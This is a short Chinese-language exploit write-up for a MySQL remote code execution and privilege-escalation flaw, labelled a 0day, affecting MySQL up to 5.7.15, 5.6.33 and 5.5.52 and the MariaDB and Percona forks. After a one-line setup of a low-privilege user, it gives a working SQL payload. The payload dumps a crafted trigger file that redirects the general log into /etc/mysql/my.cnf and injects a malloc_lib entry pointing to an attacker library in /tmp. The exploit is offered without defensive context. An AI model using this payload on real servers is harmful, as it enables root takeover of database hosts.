MySQL  <= 5.7.15       远程代码执行/ 提权 (0day)

        5.6.33

        5.5.52

Mysql分支的版本也受影响,包括：

    MariaDB

    PerconaDB
创建bob用户，并赋予file，select，insert权限，创建用于实验的数据库activedb和表active_table

select "TYPE=TRIGGERS\ntriggers='CREATE DEFINER=`root`@`localhost` TRIGGER active_table\nAFTER INSERT\n   ON `active_table` FOR EACH ROW\nBEGIN\n   DECLARE void varchar(550);\n   set global general_log_file=\\\'/etc/mysql/my.cnf\\\';\n   set global general_log = on;\n   select \"\n[mysqld]\nmalloc_lib=\\\'/tmp/mysql_hookandroot_lib.so\\\'\n\" INTO void;   \n   set global general_log = off;\nEND'\nsql_modes=1073741824\ndefiners='root@localhost'\nclient_cs_names='latin1'\nconnection_cl_names='latin1_swedish_ci'\ndb_cl_names='latin1_swedish_ci'" into dumpfile '/var/lib/mysql/activedb/active_table.TRG';